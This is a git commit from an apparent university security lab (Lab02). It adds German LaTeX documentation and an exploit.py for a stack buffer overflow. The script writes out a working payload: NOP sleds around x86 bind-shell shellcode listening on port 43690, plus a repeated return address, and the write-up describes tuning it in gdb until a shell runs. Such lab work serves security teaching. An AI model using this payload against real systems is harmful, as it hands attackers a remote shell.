part2 fertig
This commit is contained in:
parent
bf3c4b21ad
commit
ab482d9326
6 changed files with 60 additions and 0 deletions
BIN
Lab02/documentation/images/shell/02-overflow.png
Executable file
BIN
Lab02/documentation/images/shell/02-overflow.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 55 KiB |
BIN
Lab02/documentation/images/shell/03-stack.png
Executable file
BIN
Lab02/documentation/images/shell/03-stack.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 128 KiB |
BIN
Lab02/documentation/images/shell/03-success.png
Executable file
BIN
Lab02/documentation/images/shell/03-success.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 64 KiB |
BIN
Lab02/documentation/images/shell/04-ls-la.png
Executable file
BIN
Lab02/documentation/images/shell/04-ls-la.png
Executable file
Binary file not shown.
After Width: | Height: | Size: 114 KiB |
12
Lab02/documentation/images/shell/exploit.py
Executable file
12
Lab02/documentation/images/shell/exploit.py
Executable file
|
@ -0,0 +1,12 @@
|
||||||
|
import struct
|
||||||
|
|
||||||
|
print("\x90"*256+
|
||||||
|
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"+
|
||||||
|
"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"+
|
||||||
|
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"+
|
||||||
|
"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"+
|
||||||
|
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"+
|
||||||
|
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"+
|
||||||
|
"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80"+
|
||||||
|
"\x90"*150+
|
||||||
|
"\xe0\xee\xff\xbf"*8)
|
|
@ -18,3 +18,51 @@ Nun kann man auf dem Port 43690 eine Verbindung aufbauen.
|
||||||
\label{fig:Erster Test}
|
\label{fig:Erster Test}
|
||||||
\end{center}
|
\end{center}
|
||||||
\end{figure}
|
\end{figure}
|
||||||
|
|
||||||
|
\subsection{Shell Execution}
|
||||||
|
|
||||||
|
Bei der Analyse mit gdb und einem ersten Testcode entsteht folgender Stack:
|
||||||
|
|
||||||
|
\begin{figure}[H]
|
||||||
|
\begin{center}
|
||||||
|
\includegraphics[width=0.9\textwidth]{shell/02-overflow}
|
||||||
|
\caption{Erster Stack}
|
||||||
|
\label{fig:Erster Stack}
|
||||||
|
\end{center}
|
||||||
|
\end{figure}
|
||||||
|
|
||||||
|
Darin sind beide NOP sleds zu erkennen. Außerdem ist der shell code dazwischen zu erkennen.
|
||||||
|
|
||||||
|
Die nächste Vorgehensweise wäre, die beiden Sleds mit einer richtigen Größe zu versehen, damit der exploit funktioniert.
|
||||||
|
|
||||||
|
Das ausführen der exploit mit einem größeren NOP Sled Zeigt uns nun die ungefähre Position in der wir springen sollten. Damit kann die \verb|exploit.py| schonmal angepasst werden, damit der return stimmt.
|
||||||
|
|
||||||
|
\begin{figure}[H]
|
||||||
|
\begin{center}
|
||||||
|
\includegraphics[width=0.9\textwidth]{shell/03-stack}
|
||||||
|
\caption{Position in dem der NOP-Sled liegt}
|
||||||
|
\label{fig:Position in dem der NOP-Sled liegt}
|
||||||
|
\end{center}
|
||||||
|
\end{figure}
|
||||||
|
|
||||||
|
Zusätzlich muss damit auch der EBP getroffen werden. Der shell-code ist 106 byte lang. Der NOP Sled wurde auf 256 Byte gesetzt. Somit sollte der zweite NOP Sled auf 150 gesetzt werden damit die 512 vom buffer voll sind. Danach noch 8 mal die return addresse schreiben und fertig.
|
||||||
|
|
||||||
|
\begin{figure}[H]
|
||||||
|
\begin{center}
|
||||||
|
\includegraphics[width=0.9\textwidth]{shell/03-success}
|
||||||
|
\caption{Shell code wurde ausgeführt}
|
||||||
|
\label{fig:Shell code wurde ausgeführt}
|
||||||
|
\end{center}
|
||||||
|
\end{figure}
|
||||||
|
\begin{figure}[H]
|
||||||
|
\begin{center}
|
||||||
|
\includegraphics[width=0.9\textwidth]{shell/04-ls-la}
|
||||||
|
\caption{ls-la ließt das Verzeichnis}
|
||||||
|
\label{fig:ls-la ließt das Verzeichnis}
|
||||||
|
\end{center}
|
||||||
|
\end{figure}
|
||||||
|
|
||||||
|
\subsection{Funktionierende exploit.py}
|
||||||
|
|
||||||
|
\lstinputlisting[language=python]
|
||||||
|
{images/shell/exploit.py}
|
||||||
|
|
Reference in a new issue